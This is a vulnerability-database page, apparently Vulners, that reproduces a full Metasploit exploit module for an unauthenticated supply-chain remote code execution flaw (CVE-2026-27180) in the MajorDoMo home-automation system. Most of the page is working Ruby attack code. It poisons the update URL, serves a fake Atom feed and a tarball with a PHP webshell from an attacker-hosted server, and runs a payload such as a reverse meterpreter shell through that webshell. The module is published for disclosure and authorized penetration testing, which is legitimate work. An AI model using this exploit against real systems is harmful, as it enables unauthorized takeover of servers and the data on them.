Lucene search
K

MajorDoMo Supply Chain RCE via Update Poisoning

🗓️ 02 Mar 2026 18:58:39Reported by Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 251 Views

MajorDoMo RCE via unauthenticated updater poisoning in saverestore module.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-27180
18 Feb 202621:10
attackerkb
GithubExploit
Exploit for CVE-2026-27180
19 Feb 202616:10
githubexploit
Circl
CVE-2026-27180
18 Feb 202621:30
circl
CNNVD
MajorDoMo 安全漏洞
18 Feb 202600:00
cnnvd
CVE
CVE-2026-27180
18 Feb 202621:10
cve
Cvelist
CVE-2026-27180 MajorDoMo Supply Chain Remote Code Execution via Update URL Poisoning
18 Feb 202621:10
cvelist
NVD
CVE-2026-27180
18 Feb 202622:16
nvd
Packet Storm
📄 MajorDoMo Supply Chain Remote Code Execution
2 Mar 202600:00
packetstorm
Positive Technologies
PT-2026-20516
18 Feb 202600:00
ptsecurity
RedhatCVE
CVE-2026-27180
20 Feb 202601:22
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rubygems/package'
require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MajorDoMo Supply Chain RCE via Update Poisoning',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability in
          MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's
          admin() method is reachable without authentication through the /objects/?module=saverestore
          endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST)
          instead of $this->mode for mode checks.

          Two unauthenticated GET requests chain together for full RCE:
          1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server
          2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the
          poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree()

          The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity
          check. The attacker serves a fake Atom feed with an entry older than the configured delay
          (default 1 day) and a tarball containing a PHP webshell. After deployment, the module
          executes the payload through the webshell.

          All versions of MajorDoMo up to and including the latest release are affected.
          The fix is tracked in PR sergejey/majordomo#1177.
        },
        'Author' => [
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-27180'],
          ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'],
          ['URL', 'https://github.com/sergejey/majordomo/pull/1177']
        ],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-02-18',
        'DefaultOptions' => {
          'RPORT' => 80
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']),
      OptInt.new('UPDATE_TIMEOUT', [true, 'Seconds to wait for MajorDoMo to fetch the update', 30])
    ])

    deregister_options('SRVURI')
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'objects', ''),
      'method' => 'GET',
      'vars_get' => { 'module' => 'saverestore' }
    )
    return CheckCode::Unknown('Failed to connect to the target.') unless res

    unless res.body.to_s.include?('MajorDoMo') || res.code == 200
      return CheckCode::Safe('Target does not appear to be MajorDoMo')
    end

    marker = Rex::Text.rand_text_alphanumeric(8)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin.php'),
      'method' => 'GET',
      'vars_get' => {
        'ajax_panel' => '1',
        'op' => 'console',
        'command' => "echo '#{marker}';"
      }
    )

    if res&.body.to_s.include?(marker)
      return CheckCode::Vulnerable('Console eval is accessible without authentication (saverestore module also reachable)')
    end

    CheckCode::Detected('MajorDoMo detected but could not confirm unauthenticated access')
  end

  def build_atom_feed
    commit_id = Rex::Text.rand_text_hex(40)
    # Entry must be older than the configured delay (default 1 day)
    old_date = (Time.now.utc - (3 * 86400)).strftime('%Y-%m-%dT%H:%M:%SZ')
    <<~ATOM
      <?xml version="1.0" encoding="UTF-8"?>
      <feed xmlns="http://www.w3.org/2005/Atom">
        <title>MajorDoMo</title>
        <entry>
          <id>tag:github.com,2008:Grit::Commit/#{commit_id}</id>
          <updated>#{old_date}</updated>
          <title>Update</title>
        </entry>
      </feed>
    ATOM
  end

  def build_tarball(shell_name, php_code)
    tar_io = StringIO.new
    tar_io.set_encoding('ASCII-8BIT')

    Gem::Package::TarWriter.new(tar_io) do |tar|
      tar.mkdir('majordomo-master', 0o755)
      tar.add_file_simple("majordomo-master/#{shell_name}", 0o644, php_code.bytesize) do |io|
        io.write(php_code)
      end
    end

    gz_io = StringIO.new
    gz_io.set_encoding('ASCII-8BIT')
    gz = Zlib::GzipWriter.new(gz_io)
    gz.write(tar_io.string)
    gz.close
    gz_io.string
  end

  def poison_update_url(url)
    vprint_status("Poisoning update URL to: #{url}")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'objects', ''),
      'method' => 'GET',
      'vars_get' => {
        'module' => 'saverestore',
        'mode' => 'auto_update_settings',
        'set_update_url' => url
      }
    )
  end

  def trigger_update
    vprint_status('Triggering force_update...')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'objects', ''),
      'method' => 'GET',
      'vars_get' => {
        'module' => 'saverestore',
        'mode' => 'force_update'
      }
    )
  end

  def execute_webshell(shell_name)
    vprint_status("Executing payload via webshell: #{shell_name}")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, shell_name),
      'method' => 'GET'
    )
  end

  def exploit
    shell_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
    php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    php_code = "<?php #{php_payload} ?>"

    atom_feed = build_atom_feed
    tarball = build_tarball(shell_name, php_code)
    feed_served = false
    tarball_served = false

    # Start HTTP server to serve the Atom feed and tarball
    # MajorDoMo transforms /archive/master.tar.gz to /commits/master.atom for the feed
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          path = req.uri
          vprint_status("Received request: #{path}")

          if path.include?('.atom')
            print_status('Serving fake Atom feed...')
            send_response(cli, atom_feed, { 'Content-Type' => 'application/atom+xml' })
            feed_served = true
          elsif path.include?('.tar.gz')
            print_status("Serving malicious tarball (#{tarball.length} bytes)...")
            send_response(cli, tarball, { 'Content-Type' => 'application/gzip' })
            tarball_served = true
          else
            send_not_found(cli)
          end
        end,
        'Path' => '/'
      },
      'SSL' => false
    })

    srv_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/archive/master.tar.gz"
    poison_update_url(srv_url)
    trigger_update

    # Wait for MajorDoMo to fetch the feed and tarball
    timeout = datastore['UPDATE_TIMEOUT']
    print_status("Waiting up to #{timeout}s for MajorDoMo to fetch the update...")
    timeout.times do
      break if feed_served && tarball_served

      Rex.sleep(1)
    end

    unless feed_served && tarball_served
      fail_with(Failure::TimeoutExpired, 'MajorDoMo did not fetch the update in time. Ensure SRVHOST is reachable from the target.')
    end

    # Give MajorDoMo time to extract and deploy
    print_status('Update fetched, waiting for deployment...')
    Rex.sleep(3)

    register_file_for_cleanup(shell_name)
    execute_webshell(shell_name)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation